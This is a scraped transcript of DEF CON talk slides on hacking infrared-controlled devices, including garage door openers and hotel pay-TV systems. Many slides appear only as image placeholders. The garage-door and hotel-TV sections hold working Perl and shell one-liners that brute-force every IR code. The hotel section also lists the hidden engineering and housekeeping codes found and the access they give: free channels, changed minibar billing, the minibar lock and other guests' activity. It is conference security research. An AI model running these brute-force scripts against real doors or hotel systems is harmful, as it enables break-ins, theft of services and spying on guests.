introduction - def con · pdf file · 2009-11-17introduction major malfunction ......
TRANSCRIPT
![Page 1: Introduction - DEF CON · PDF file · 2009-11-17Introduction Major Malfunction ... Central control / Billing Vending machines Programming / price changes On / Off duty Public display](https://reader031.vdocuments.mx/reader031/viewer/2022030417/5aa3b8a67f8b9a436d8e8c2c/html5/thumbnails/1.jpg)
![Page 2: Introduction - DEF CON · PDF file · 2009-11-17Introduction Major Malfunction ... Central control / Billing Vending machines Programming / price changes On / Off duty Public display](https://reader031.vdocuments.mx/reader031/viewer/2022030417/5aa3b8a67f8b9a436d8e8c2c/html5/thumbnails/2.jpg)
Introduction
Major Malfunction
Security professional by day
White Hat hacker since the '70s
DEFCON Goon since DC5
Co-founder of InterFACE internet pirate radio station
![Page 3: Introduction - DEF CON · PDF file · 2009-11-17Introduction Major Malfunction ... Central control / Billing Vending machines Programming / price changes On / Off duty Public display](https://reader031.vdocuments.mx/reader031/viewer/2022030417/5aa3b8a67f8b9a436d8e8c2c/html5/thumbnails/3.jpg)
IntroductionWhy Infra Red?
Ubiquitous - still used in modern applications
TV / Cable / Sat remotesMaster configuration / TuningPackage selectionCentral control / Billing
Vending machinesProgramming / price changesOn / Off duty
Public display signsMessage programmingMaster configuration
Garage door openersCar alarm systems / Central lockingAir conditioning systems
![Page 4: Introduction - DEF CON · PDF file · 2009-11-17Introduction Major Malfunction ... Central control / Billing Vending machines Programming / price changes On / Off duty Public display](https://reader031.vdocuments.mx/reader031/viewer/2022030417/5aa3b8a67f8b9a436d8e8c2c/html5/thumbnails/4.jpg)
Introduction
Why MMIrDA?
'Major Malfunction's Infra Red Discovery Application'
Built in IrDA Serial port on laptops
Originally intended to write a tool for FreeBSD, but found LIRC and other tools already existed under Linux
![Page 5: Introduction - DEF CON · PDF file · 2009-11-17Introduction Major Malfunction ... Central control / Billing Vending machines Programming / price changes On / Off duty Public display](https://reader031.vdocuments.mx/reader031/viewer/2022030417/5aa3b8a67f8b9a436d8e8c2c/html5/thumbnails/5.jpg)
Introduction
Why Bother?
IR unlikely to be replaced
Fit for useCheapSimpleIf it ain't broke, don't fix it!
Because it's there!
Good skillsPractice your artKnow your enemyAll work & no play...
![Page 6: Introduction - DEF CON · PDF file · 2009-11-17Introduction Major Malfunction ... Central control / Billing Vending machines Programming / price changes On / Off duty Public display](https://reader031.vdocuments.mx/reader031/viewer/2022030417/5aa3b8a67f8b9a436d8e8c2c/html5/thumbnails/6.jpg)
Introduction
IR is the ultimate in 'security by obscurity'
Invisible rays hide a multitude of sins
Simple codes
Total control
Inverted security model
End user device filters content
e.g. Hotel PPV TV
![Page 7: Introduction - DEF CON · PDF file · 2009-11-17Introduction Major Malfunction ... Central control / Billing Vending machines Programming / price changes On / Off duty Public display](https://reader031.vdocuments.mx/reader031/viewer/2022030417/5aa3b8a67f8b9a436d8e8c2c/html5/thumbnails/7.jpg)
Simple Replay Attacks
Record codes and retransmit
Early Car Alarms
Garage Doors
Toys - RoboSapien
Standard TVs
Bars, Clubs etc.
Clone 'special' remotes
![Page 8: Introduction - DEF CON · PDF file · 2009-11-17Introduction Major Malfunction ... Central control / Billing Vending machines Programming / price changes On / Off duty Public display](https://reader031.vdocuments.mx/reader031/viewer/2022030417/5aa3b8a67f8b9a436d8e8c2c/html5/thumbnails/8.jpg)
Cloning / Replay Tools
Learning remotes
Casio IR Watches
Apple Newton
OmniRemote
PalmOSDev libraryhttp://www.pacificneotek.com/
Philips Pronto
Human readable (Hex)http://www.remotecentral.com/Pronto tools
![Page 9: Introduction - DEF CON · PDF file · 2009-11-17Introduction Major Malfunction ... Central control / Billing Vending machines Programming / price changes On / Off duty Public display](https://reader031.vdocuments.mx/reader031/viewer/2022030417/5aa3b8a67f8b9a436d8e8c2c/html5/thumbnails/9.jpg)
![Page 10: Introduction - DEF CON · PDF file · 2009-11-17Introduction Major Malfunction ... Central control / Billing Vending machines Programming / price changes On / Off duty Public display](https://reader031.vdocuments.mx/reader031/viewer/2022030417/5aa3b8a67f8b9a436d8e8c2c/html5/thumbnails/10.jpg)
![Page 11: Introduction - DEF CON · PDF file · 2009-11-17Introduction Major Malfunction ... Central control / Billing Vending machines Programming / price changes On / Off duty Public display](https://reader031.vdocuments.mx/reader031/viewer/2022030417/5aa3b8a67f8b9a436d8e8c2c/html5/thumbnails/11.jpg)
![Page 12: Introduction - DEF CON · PDF file · 2009-11-17Introduction Major Malfunction ... Central control / Billing Vending machines Programming / price changes On / Off duty Public display](https://reader031.vdocuments.mx/reader031/viewer/2022030417/5aa3b8a67f8b9a436d8e8c2c/html5/thumbnails/12.jpg)
![Page 13: Introduction - DEF CON · PDF file · 2009-11-17Introduction Major Malfunction ... Central control / Billing Vending machines Programming / price changes On / Off duty Public display](https://reader031.vdocuments.mx/reader031/viewer/2022030417/5aa3b8a67f8b9a436d8e8c2c/html5/thumbnails/13.jpg)
![Page 14: Introduction - DEF CON · PDF file · 2009-11-17Introduction Major Malfunction ... Central control / Billing Vending machines Programming / price changes On / Off duty Public display](https://reader031.vdocuments.mx/reader031/viewer/2022030417/5aa3b8a67f8b9a436d8e8c2c/html5/thumbnails/14.jpg)
Brute Force Attacks
Record codes, analyse and infer
Garage Doors
TVs
Cars
![Page 15: Introduction - DEF CON · PDF file · 2009-11-17Introduction Major Malfunction ... Central control / Billing Vending machines Programming / price changes On / Off duty Public display](https://reader031.vdocuments.mx/reader031/viewer/2022030417/5aa3b8a67f8b9a436d8e8c2c/html5/thumbnails/15.jpg)
Brute Force Tools
LIRChttp://www.lirc.org/
Visualisation tools
Auto learning
ASCII / Human readable config
Software only with laptop IR port
Linux only
iRTranshttp://www.irtrans.de/
More powerful transmitter
Solves PC timing issues
Works with more targets
Serial or USB
Linux or Virus
![Page 16: Introduction - DEF CON · PDF file · 2009-11-17Introduction Major Malfunction ... Central control / Billing Vending machines Programming / price changes On / Off duty Public display](https://reader031.vdocuments.mx/reader031/viewer/2022030417/5aa3b8a67f8b9a436d8e8c2c/html5/thumbnails/16.jpg)
![Page 17: Introduction - DEF CON · PDF file · 2009-11-17Introduction Major Malfunction ... Central control / Billing Vending machines Programming / price changes On / Off duty Public display](https://reader031.vdocuments.mx/reader031/viewer/2022030417/5aa3b8a67f8b9a436d8e8c2c/html5/thumbnails/17.jpg)
Garage Door Openers
Simple code, manually configurable
Dipswitch with 8 on / off bits = 256 possible codes
![Page 18: Introduction - DEF CON · PDF file · 2009-11-17Introduction Major Malfunction ... Central control / Billing Vending machines Programming / price changes On / Off duty Public display](https://reader031.vdocuments.mx/reader031/viewer/2022030417/5aa3b8a67f8b9a436d8e8c2c/html5/thumbnails/18.jpg)
Analyse Data Bits With XMODE2
All on S11111111 s s s s
All off S 00000000 s s s s
1-7 off, 8 on S 00000001 s s s s
1 on, 2-8 off S 10000000 s s s s
1-3 off, 4-6 on, 7-8 off S 00011100 s s s s
Conclusion: 1 start bit, 8 data bits, 4 stop bits
![Page 19: Introduction - DEF CON · PDF file · 2009-11-17Introduction Major Malfunction ... Central control / Billing Vending machines Programming / price changes On / Off duty Public display](https://reader031.vdocuments.mx/reader031/viewer/2022030417/5aa3b8a67f8b9a436d8e8c2c/html5/thumbnails/19.jpg)
Garage Door Openers
Creating LIRC config
Learn test codes with 'irrecord':
begin remote name garage bits 12 one 214 558 zero 214 259 toggle_bit 0
begin codes
00 0x0000000000000000 01 0x0000000000000001 80 0x0000000000000080 e3 0x00000000000000e3 # 00011100 inverted ff 0x00000000000000ff
end codesend remote
![Page 20: Introduction - DEF CON · PDF file · 2009-11-17Introduction Major Malfunction ... Central control / Billing Vending machines Programming / price changes On / Off duty Public display](https://reader031.vdocuments.mx/reader031/viewer/2022030417/5aa3b8a67f8b9a436d8e8c2c/html5/thumbnails/20.jpg)
Garage Door Openers
Now fill in the gaps
perl -e 'for (0..255) { printf(" %02x\t\t0x%016x\n",$_,$_) }'
00 0x000000000000000101 0x0000000000000001
02 0x0000000000000002 03 0x0000000000000003 04 0x0000000000000004 05 0x0000000000000005 06 0x0000000000000006 07 0x0000000000000007 08 0x0000000000000008 09 0x0000000000000009 0a 0x000000000000000a 0b 0x000000000000000b . . .
![Page 21: Introduction - DEF CON · PDF file · 2009-11-17Introduction Major Malfunction ... Central control / Billing Vending machines Programming / price changes On / Off duty Public display](https://reader031.vdocuments.mx/reader031/viewer/2022030417/5aa3b8a67f8b9a436d8e8c2c/html5/thumbnails/21.jpg)
Garage Door Openers
Send all codes
for i in `perl -e 'for (0..255) { printf("%02x\n",$_) }'` ; do irsend SEND_ONCE garage $i ; done
irsend SEND_ONCE garage 00 irsend SEND_ONCE garage 01 irsend SEND_ONCE garage 02 irsend SEND_ONCE garage 03 irsend SEND_ONCE garage 04 irsend SEND_ONCE garage 05 irsend SEND_ONCE garage 06 irsend SEND_ONCE garage 07 . . .
54 seconds to send all 256 codes
![Page 22: Introduction - DEF CON · PDF file · 2009-11-17Introduction Major Malfunction ... Central control / Billing Vending machines Programming / price changes On / Off duty Public display](https://reader031.vdocuments.mx/reader031/viewer/2022030417/5aa3b8a67f8b9a436d8e8c2c/html5/thumbnails/22.jpg)
![Page 23: Introduction - DEF CON · PDF file · 2009-11-17Introduction Major Malfunction ... Central control / Billing Vending machines Programming / price changes On / Off duty Public display](https://reader031.vdocuments.mx/reader031/viewer/2022030417/5aa3b8a67f8b9a436d8e8c2c/html5/thumbnails/23.jpg)
![Page 24: Introduction - DEF CON · PDF file · 2009-11-17Introduction Major Malfunction ... Central control / Billing Vending machines Programming / price changes On / Off duty Public display](https://reader031.vdocuments.mx/reader031/viewer/2022030417/5aa3b8a67f8b9a436d8e8c2c/html5/thumbnails/24.jpg)
Hotel TV
Inverted security model
Back-end may broadcast all content
TV filters content
TV controlled by end user
No authentication required
No encryption
Closed system
![Page 25: Introduction - DEF CON · PDF file · 2009-11-17Introduction Major Malfunction ... Central control / Billing Vending machines Programming / price changes On / Off duty Public display](https://reader031.vdocuments.mx/reader031/viewer/2022030417/5aa3b8a67f8b9a436d8e8c2c/html5/thumbnails/25.jpg)
![Page 26: Introduction - DEF CON · PDF file · 2009-11-17Introduction Major Malfunction ... Central control / Billing Vending machines Programming / price changes On / Off duty Public display](https://reader031.vdocuments.mx/reader031/viewer/2022030417/5aa3b8a67f8b9a436d8e8c2c/html5/thumbnails/26.jpg)
![Page 27: Introduction - DEF CON · PDF file · 2009-11-17Introduction Major Malfunction ... Central control / Billing Vending machines Programming / price changes On / Off duty Public display](https://reader031.vdocuments.mx/reader031/viewer/2022030417/5aa3b8a67f8b9a436d8e8c2c/html5/thumbnails/27.jpg)
![Page 28: Introduction - DEF CON · PDF file · 2009-11-17Introduction Major Malfunction ... Central control / Billing Vending machines Programming / price changes On / Off duty Public display](https://reader031.vdocuments.mx/reader031/viewer/2022030417/5aa3b8a67f8b9a436d8e8c2c/html5/thumbnails/28.jpg)
![Page 29: Introduction - DEF CON · PDF file · 2009-11-17Introduction Major Malfunction ... Central control / Billing Vending machines Programming / price changes On / Off duty Public display](https://reader031.vdocuments.mx/reader031/viewer/2022030417/5aa3b8a67f8b9a436d8e8c2c/html5/thumbnails/29.jpg)
![Page 30: Introduction - DEF CON · PDF file · 2009-11-17Introduction Major Malfunction ... Central control / Billing Vending machines Programming / price changes On / Off duty Public display](https://reader031.vdocuments.mx/reader031/viewer/2022030417/5aa3b8a67f8b9a436d8e8c2c/html5/thumbnails/30.jpg)
![Page 31: Introduction - DEF CON · PDF file · 2009-11-17Introduction Major Malfunction ... Central control / Billing Vending machines Programming / price changes On / Off duty Public display](https://reader031.vdocuments.mx/reader031/viewer/2022030417/5aa3b8a67f8b9a436d8e8c2c/html5/thumbnails/31.jpg)
![Page 32: Introduction - DEF CON · PDF file · 2009-11-17Introduction Major Malfunction ... Central control / Billing Vending machines Programming / price changes On / Off duty Public display](https://reader031.vdocuments.mx/reader031/viewer/2022030417/5aa3b8a67f8b9a436d8e8c2c/html5/thumbnails/32.jpg)
![Page 33: Introduction - DEF CON · PDF file · 2009-11-17Introduction Major Malfunction ... Central control / Billing Vending machines Programming / price changes On / Off duty Public display](https://reader031.vdocuments.mx/reader031/viewer/2022030417/5aa3b8a67f8b9a436d8e8c2c/html5/thumbnails/33.jpg)
TV RemotesMore complex codes (more bits)
Manufacturer collision avoidance
Groups of codes use different bits
Multiple device types on single remoteTVVideoSat / Cable
Standard GroupChannel selectMenuMotionTeletext
Extra GroupAlarm clockPay TVCheckoutHidden
![Page 34: Introduction - DEF CON · PDF file · 2009-11-17Introduction Major Malfunction ... Central control / Billing Vending machines Programming / price changes On / Off duty Public display](https://reader031.vdocuments.mx/reader031/viewer/2022030417/5aa3b8a67f8b9a436d8e8c2c/html5/thumbnails/34.jpg)
TV Remotes
More complex codes (more bits)
![Page 35: Introduction - DEF CON · PDF file · 2009-11-17Introduction Major Malfunction ... Central control / Billing Vending machines Programming / price changes On / Off duty Public display](https://reader031.vdocuments.mx/reader031/viewer/2022030417/5aa3b8a67f8b9a436d8e8c2c/html5/thumbnails/35.jpg)
TV Remotes – discovering hidden codes
14 bit code = 16,384 possible codes
9 hours to test @ 2 second per code
Reducing the search space – Standard Group
[REMOTE][NAME]hotel
[COMMANDS][0][T]0[D]11000000000000[1][T]0[D]11000000000001[2][T]0[D]11000000000010[3][T]0[D]11000000000011[4][T]0[D]11000000000100[5][T]0[D]11000000000101[6][T]0[D]11000000000110[7][T]0[D]11000000000111[8][T]0[D]11000000001000[9][T]0[D]11000000001001
Bits used so far: xx--------xxxx
![Page 36: Introduction - DEF CON · PDF file · 2009-11-17Introduction Major Malfunction ... Central control / Billing Vending machines Programming / price changes On / Off duty Public display](https://reader031.vdocuments.mx/reader031/viewer/2022030417/5aa3b8a67f8b9a436d8e8c2c/html5/thumbnails/36.jpg)
TV Remotes – discovering hidden codes
Reducing the search space – Standard Group
[power] [T]0[D]11000000001100[mute] [T]0[D]11000000001101[vol+] [T]0[D]11000000010000[vol-] [T]0[D]11000000010001[prog+] [T]0[D]11000000100000[prog-] [T]0[D]11000000100001[audio] [T]0[D]11000000100011[sleep] [T]0[D]11000000100110[text] [T]0[D]11000000111100[up] [T]0[D]10000000010000[down] [T]0[D]10000000010001[menu] [T]0[D]10000000010010[left] [T]0[D]10000000010101[right] [T]0[D]10000000010110[ok] [T]0[D]10000000010111
Bits used so far: xx------xxxxxx
![Page 37: Introduction - DEF CON · PDF file · 2009-11-17Introduction Major Malfunction ... Central control / Billing Vending machines Programming / price changes On / Off duty Public display](https://reader031.vdocuments.mx/reader031/viewer/2022030417/5aa3b8a67f8b9a436d8e8c2c/html5/thumbnails/37.jpg)
TV Remotes – discovering hidden codes
Reducing the search space – Extra Group
[smart] [T]0[D]11000011001010[paytv+] [T]0[D]11000011011100[paytv-] [T]0[D]11000011011101[radio+] [T]0[D]11000011011110[radio-] [T]0[D]11000011011111[info+] [T]0[D]10000011001101[info-] [T]0[D]10000011001110[message] [T]0[D]10000011001010[alarmon] [T]0[D]10000011101000[alarmoff] [T]0[D]10000011101001
Bits used so far: xx----xxxxxxxx
First 2 bits used4 bits unknownMain code in last 8 bits
![Page 38: Introduction - DEF CON · PDF file · 2009-11-17Introduction Major Malfunction ... Central control / Billing Vending machines Programming / price changes On / Off duty Public display](https://reader031.vdocuments.mx/reader031/viewer/2022030417/5aa3b8a67f8b9a436d8e8c2c/html5/thumbnails/38.jpg)
TV Remotes – Discovering Hidden Codes
Reducing the search space – Eliminate unused bits
Toggle single bit on a standard command
[power][T]0[D]11000000001100 - Original
[power][T]0[D]01000000001100 - Command OK
[power][T]0[D]10000000001100 - Command fails
[power][T]0[D]11100000001100 - Command OK
[power][T]0[D]11010000001100 - Command OK
[power][T]0[D]11001000001100 - Command OK
[power][T]0[D]11000100001100 - Command fails
Assumption: bits 1, 3, 4, 5 ignored10 bits = 1,024 possible codes = 2,048 seconds = 35 mins
![Page 39: Introduction - DEF CON · PDF file · 2009-11-17Introduction Major Malfunction ... Central control / Billing Vending machines Programming / price changes On / Off duty Public display](https://reader031.vdocuments.mx/reader031/viewer/2022030417/5aa3b8a67f8b9a436d8e8c2c/html5/thumbnails/39.jpg)
TV Remotes – discovering hidden codes
Create new configs
perl -e 'for (0..255) { printf(" [%03d][T]0[D]100000%s\n",$_,unpack("B8",pack("i",$_+0))) }' > hotel1.rem
perl -e 'for (0..255) { printf(" [%03d][T]0[D]100001%s\n",$_,unpack("B8",pack("i",$_+0))) }' > hotel2.rem
perl -e 'for (0..255) { printf(" [%03d][T]0[D]110000%s\n",$_,unpack("B8",pack("i",$_+0))) }' > hotel3.rem
perl -e 'for (0..255) { printf(" [%03d][T]0[D]110001%s\n",$_,unpack("B8",pack("i",$_+0))) }' > hotel4.rem
Manual test / observation
for i in `perl -e 'for (0..255) { printf("%03d\n",$_) }'` ; do echo -n "$i..." ; irtrans localhost hotel1 $i ; echo "done" ; sleep 2 ; done
Rinse, repeat
![Page 40: Introduction - DEF CON · PDF file · 2009-11-17Introduction Major Malfunction ... Central control / Billing Vending machines Programming / price changes On / Off duty Public display](https://reader031.vdocuments.mx/reader031/viewer/2022030417/5aa3b8a67f8b9a436d8e8c2c/html5/thumbnails/40.jpg)
TV Remotes – discovering hidden codes
Profit!
[012][T]0[D]10000100110000[075][T]0[D]10000111011010[122][T]0[D]11000100111110 # engineering[130][T]0[D]11000110111110 # engineering[199][T]0[D]11000101111111 # engineering[200][T]0[D]11000101101011 # disable computer[206][T]0[D]11000101111010 # housekeeping[221][T]0[D]11000101111101 # housekeeping[244][T]0[D]11000111001111 # engineering[249][T]0[D]11000111010110[251][T]0[D]10000111010010 # bingo! 0wn3d![254][T]0[D]11000111101110
![Page 41: Introduction - DEF CON · PDF file · 2009-11-17Introduction Major Malfunction ... Central control / Billing Vending machines Programming / price changes On / Off duty Public display](https://reader031.vdocuments.mx/reader031/viewer/2022030417/5aa3b8a67f8b9a436d8e8c2c/html5/thumbnails/41.jpg)
TV Remotes
Hidden codesHotel internal (housekeeping) daily tasks
Minibar billing
Room cleaning / status reports
Extras (engineering) one-off tasks
Pay TV config
DebuggingCable codesSignal strengthPort settings
Accessory / Service (De)Activation
![Page 42: Introduction - DEF CON · PDF file · 2009-11-17Introduction Major Malfunction ... Central control / Billing Vending machines Programming / price changes On / Off duty Public display](https://reader031.vdocuments.mx/reader031/viewer/2022030417/5aa3b8a67f8b9a436d8e8c2c/html5/thumbnails/42.jpg)
Hotel TV – New Capabilities
Reconfigure TV
Change messages
Assign to another room
Assign new free channels
Find new channels
![Page 43: Introduction - DEF CON · PDF file · 2009-11-17Introduction Major Malfunction ... Central control / Billing Vending machines Programming / price changes On / Off duty Public display](https://reader031.vdocuments.mx/reader031/viewer/2022030417/5aa3b8a67f8b9a436d8e8c2c/html5/thumbnails/43.jpg)
![Page 44: Introduction - DEF CON · PDF file · 2009-11-17Introduction Major Malfunction ... Central control / Billing Vending machines Programming / price changes On / Off duty Public display](https://reader031.vdocuments.mx/reader031/viewer/2022030417/5aa3b8a67f8b9a436d8e8c2c/html5/thumbnails/44.jpg)
![Page 45: Introduction - DEF CON · PDF file · 2009-11-17Introduction Major Malfunction ... Central control / Billing Vending machines Programming / price changes On / Off duty Public display](https://reader031.vdocuments.mx/reader031/viewer/2022030417/5aa3b8a67f8b9a436d8e8c2c/html5/thumbnails/45.jpg)
![Page 46: Introduction - DEF CON · PDF file · 2009-11-17Introduction Major Malfunction ... Central control / Billing Vending machines Programming / price changes On / Off duty Public display](https://reader031.vdocuments.mx/reader031/viewer/2022030417/5aa3b8a67f8b9a436d8e8c2c/html5/thumbnails/46.jpg)
![Page 47: Introduction - DEF CON · PDF file · 2009-11-17Introduction Major Malfunction ... Central control / Billing Vending machines Programming / price changes On / Off duty Public display](https://reader031.vdocuments.mx/reader031/viewer/2022030417/5aa3b8a67f8b9a436d8e8c2c/html5/thumbnails/47.jpg)
![Page 48: Introduction - DEF CON · PDF file · 2009-11-17Introduction Major Malfunction ... Central control / Billing Vending machines Programming / price changes On / Off duty Public display](https://reader031.vdocuments.mx/reader031/viewer/2022030417/5aa3b8a67f8b9a436d8e8c2c/html5/thumbnails/48.jpg)
![Page 49: Introduction - DEF CON · PDF file · 2009-11-17Introduction Major Malfunction ... Central control / Billing Vending machines Programming / price changes On / Off duty Public display](https://reader031.vdocuments.mx/reader031/viewer/2022030417/5aa3b8a67f8b9a436d8e8c2c/html5/thumbnails/49.jpg)
![Page 50: Introduction - DEF CON · PDF file · 2009-11-17Introduction Major Malfunction ... Central control / Billing Vending machines Programming / price changes On / Off duty Public display](https://reader031.vdocuments.mx/reader031/viewer/2022030417/5aa3b8a67f8b9a436d8e8c2c/html5/thumbnails/50.jpg)
Hotel TV – New Capabilities
Reconfigure TV
Change channel filtering
![Page 51: Introduction - DEF CON · PDF file · 2009-11-17Introduction Major Malfunction ... Central control / Billing Vending machines Programming / price changes On / Off duty Public display](https://reader031.vdocuments.mx/reader031/viewer/2022030417/5aa3b8a67f8b9a436d8e8c2c/html5/thumbnails/51.jpg)
![Page 52: Introduction - DEF CON · PDF file · 2009-11-17Introduction Major Malfunction ... Central control / Billing Vending machines Programming / price changes On / Off duty Public display](https://reader031.vdocuments.mx/reader031/viewer/2022030417/5aa3b8a67f8b9a436d8e8c2c/html5/thumbnails/52.jpg)
![Page 53: Introduction - DEF CON · PDF file · 2009-11-17Introduction Major Malfunction ... Central control / Billing Vending machines Programming / price changes On / Off duty Public display](https://reader031.vdocuments.mx/reader031/viewer/2022030417/5aa3b8a67f8b9a436d8e8c2c/html5/thumbnails/53.jpg)
Hotel TV – New Capabilities
View Back-End Systems
![Page 54: Introduction - DEF CON · PDF file · 2009-11-17Introduction Major Malfunction ... Central control / Billing Vending machines Programming / price changes On / Off duty Public display](https://reader031.vdocuments.mx/reader031/viewer/2022030417/5aa3b8a67f8b9a436d8e8c2c/html5/thumbnails/54.jpg)
![Page 55: Introduction - DEF CON · PDF file · 2009-11-17Introduction Major Malfunction ... Central control / Billing Vending machines Programming / price changes On / Off duty Public display](https://reader031.vdocuments.mx/reader031/viewer/2022030417/5aa3b8a67f8b9a436d8e8c2c/html5/thumbnails/55.jpg)
![Page 56: Introduction - DEF CON · PDF file · 2009-11-17Introduction Major Malfunction ... Central control / Billing Vending machines Programming / price changes On / Off duty Public display](https://reader031.vdocuments.mx/reader031/viewer/2022030417/5aa3b8a67f8b9a436d8e8c2c/html5/thumbnails/56.jpg)
![Page 57: Introduction - DEF CON · PDF file · 2009-11-17Introduction Major Malfunction ... Central control / Billing Vending machines Programming / price changes On / Off duty Public display](https://reader031.vdocuments.mx/reader031/viewer/2022030417/5aa3b8a67f8b9a436d8e8c2c/html5/thumbnails/57.jpg)
![Page 58: Introduction - DEF CON · PDF file · 2009-11-17Introduction Major Malfunction ... Central control / Billing Vending machines Programming / price changes On / Off duty Public display](https://reader031.vdocuments.mx/reader031/viewer/2022030417/5aa3b8a67f8b9a436d8e8c2c/html5/thumbnails/58.jpg)
![Page 59: Introduction - DEF CON · PDF file · 2009-11-17Introduction Major Malfunction ... Central control / Billing Vending machines Programming / price changes On / Off duty Public display](https://reader031.vdocuments.mx/reader031/viewer/2022030417/5aa3b8a67f8b9a436d8e8c2c/html5/thumbnails/59.jpg)
![Page 60: Introduction - DEF CON · PDF file · 2009-11-17Introduction Major Malfunction ... Central control / Billing Vending machines Programming / price changes On / Off duty Public display](https://reader031.vdocuments.mx/reader031/viewer/2022030417/5aa3b8a67f8b9a436d8e8c2c/html5/thumbnails/60.jpg)
![Page 61: Introduction - DEF CON · PDF file · 2009-11-17Introduction Major Malfunction ... Central control / Billing Vending machines Programming / price changes On / Off duty Public display](https://reader031.vdocuments.mx/reader031/viewer/2022030417/5aa3b8a67f8b9a436d8e8c2c/html5/thumbnails/61.jpg)
![Page 62: Introduction - DEF CON · PDF file · 2009-11-17Introduction Major Malfunction ... Central control / Billing Vending machines Programming / price changes On / Off duty Public display](https://reader031.vdocuments.mx/reader031/viewer/2022030417/5aa3b8a67f8b9a436d8e8c2c/html5/thumbnails/62.jpg)
![Page 63: Introduction - DEF CON · PDF file · 2009-11-17Introduction Major Malfunction ... Central control / Billing Vending machines Programming / price changes On / Off duty Public display](https://reader031.vdocuments.mx/reader031/viewer/2022030417/5aa3b8a67f8b9a436d8e8c2c/html5/thumbnails/63.jpg)
![Page 64: Introduction - DEF CON · PDF file · 2009-11-17Introduction Major Malfunction ... Central control / Billing Vending machines Programming / price changes On / Off duty Public display](https://reader031.vdocuments.mx/reader031/viewer/2022030417/5aa3b8a67f8b9a436d8e8c2c/html5/thumbnails/64.jpg)
![Page 65: Introduction - DEF CON · PDF file · 2009-11-17Introduction Major Malfunction ... Central control / Billing Vending machines Programming / price changes On / Off duty Public display](https://reader031.vdocuments.mx/reader031/viewer/2022030417/5aa3b8a67f8b9a436d8e8c2c/html5/thumbnails/65.jpg)
![Page 66: Introduction - DEF CON · PDF file · 2009-11-17Introduction Major Malfunction ... Central control / Billing Vending machines Programming / price changes On / Off duty Public display](https://reader031.vdocuments.mx/reader031/viewer/2022030417/5aa3b8a67f8b9a436d8e8c2c/html5/thumbnails/66.jpg)
![Page 67: Introduction - DEF CON · PDF file · 2009-11-17Introduction Major Malfunction ... Central control / Billing Vending machines Programming / price changes On / Off duty Public display](https://reader031.vdocuments.mx/reader031/viewer/2022030417/5aa3b8a67f8b9a436d8e8c2c/html5/thumbnails/67.jpg)
![Page 68: Introduction - DEF CON · PDF file · 2009-11-17Introduction Major Malfunction ... Central control / Billing Vending machines Programming / price changes On / Off duty Public display](https://reader031.vdocuments.mx/reader031/viewer/2022030417/5aa3b8a67f8b9a436d8e8c2c/html5/thumbnails/68.jpg)
![Page 69: Introduction - DEF CON · PDF file · 2009-11-17Introduction Major Malfunction ... Central control / Billing Vending machines Programming / price changes On / Off duty Public display](https://reader031.vdocuments.mx/reader031/viewer/2022030417/5aa3b8a67f8b9a436d8e8c2c/html5/thumbnails/69.jpg)
![Page 70: Introduction - DEF CON · PDF file · 2009-11-17Introduction Major Malfunction ... Central control / Billing Vending machines Programming / price changes On / Off duty Public display](https://reader031.vdocuments.mx/reader031/viewer/2022030417/5aa3b8a67f8b9a436d8e8c2c/html5/thumbnails/70.jpg)
![Page 71: Introduction - DEF CON · PDF file · 2009-11-17Introduction Major Malfunction ... Central control / Billing Vending machines Programming / price changes On / Off duty Public display](https://reader031.vdocuments.mx/reader031/viewer/2022030417/5aa3b8a67f8b9a436d8e8c2c/html5/thumbnails/71.jpg)
Hotel TV – New Capabilities
Change Room status
MiniBar
Cleaning
![Page 72: Introduction - DEF CON · PDF file · 2009-11-17Introduction Major Malfunction ... Central control / Billing Vending machines Programming / price changes On / Off duty Public display](https://reader031.vdocuments.mx/reader031/viewer/2022030417/5aa3b8a67f8b9a436d8e8c2c/html5/thumbnails/72.jpg)
![Page 73: Introduction - DEF CON · PDF file · 2009-11-17Introduction Major Malfunction ... Central control / Billing Vending machines Programming / price changes On / Off duty Public display](https://reader031.vdocuments.mx/reader031/viewer/2022030417/5aa3b8a67f8b9a436d8e8c2c/html5/thumbnails/73.jpg)
![Page 74: Introduction - DEF CON · PDF file · 2009-11-17Introduction Major Malfunction ... Central control / Billing Vending machines Programming / price changes On / Off duty Public display](https://reader031.vdocuments.mx/reader031/viewer/2022030417/5aa3b8a67f8b9a436d8e8c2c/html5/thumbnails/74.jpg)
Hotel TV – New Capabilities
Unimplemented Facilities
Standard vendor feature (toggled off)
![Page 75: Introduction - DEF CON · PDF file · 2009-11-17Introduction Major Malfunction ... Central control / Billing Vending machines Programming / price changes On / Off duty Public display](https://reader031.vdocuments.mx/reader031/viewer/2022030417/5aa3b8a67f8b9a436d8e8c2c/html5/thumbnails/75.jpg)
![Page 76: Introduction - DEF CON · PDF file · 2009-11-17Introduction Major Malfunction ... Central control / Billing Vending machines Programming / price changes On / Off duty Public display](https://reader031.vdocuments.mx/reader031/viewer/2022030417/5aa3b8a67f8b9a436d8e8c2c/html5/thumbnails/76.jpg)
![Page 77: Introduction - DEF CON · PDF file · 2009-11-17Introduction Major Malfunction ... Central control / Billing Vending machines Programming / price changes On / Off duty Public display](https://reader031.vdocuments.mx/reader031/viewer/2022030417/5aa3b8a67f8b9a436d8e8c2c/html5/thumbnails/77.jpg)
Hotel TV – New Capabilities
Control other physical devices
Mini Bar lock
![Page 78: Introduction - DEF CON · PDF file · 2009-11-17Introduction Major Malfunction ... Central control / Billing Vending machines Programming / price changes On / Off duty Public display](https://reader031.vdocuments.mx/reader031/viewer/2022030417/5aa3b8a67f8b9a436d8e8c2c/html5/thumbnails/78.jpg)
![Page 79: Introduction - DEF CON · PDF file · 2009-11-17Introduction Major Malfunction ... Central control / Billing Vending machines Programming / price changes On / Off duty Public display](https://reader031.vdocuments.mx/reader031/viewer/2022030417/5aa3b8a67f8b9a436d8e8c2c/html5/thumbnails/79.jpg)
Hotel TV – New Capabilities
View Other Users' Activities
![Page 80: Introduction - DEF CON · PDF file · 2009-11-17Introduction Major Malfunction ... Central control / Billing Vending machines Programming / price changes On / Off duty Public display](https://reader031.vdocuments.mx/reader031/viewer/2022030417/5aa3b8a67f8b9a436d8e8c2c/html5/thumbnails/80.jpg)
![Page 81: Introduction - DEF CON · PDF file · 2009-11-17Introduction Major Malfunction ... Central control / Billing Vending machines Programming / price changes On / Off duty Public display](https://reader031.vdocuments.mx/reader031/viewer/2022030417/5aa3b8a67f8b9a436d8e8c2c/html5/thumbnails/81.jpg)
![Page 82: Introduction - DEF CON · PDF file · 2009-11-17Introduction Major Malfunction ... Central control / Billing Vending machines Programming / price changes On / Off duty Public display](https://reader031.vdocuments.mx/reader031/viewer/2022030417/5aa3b8a67f8b9a436d8e8c2c/html5/thumbnails/82.jpg)
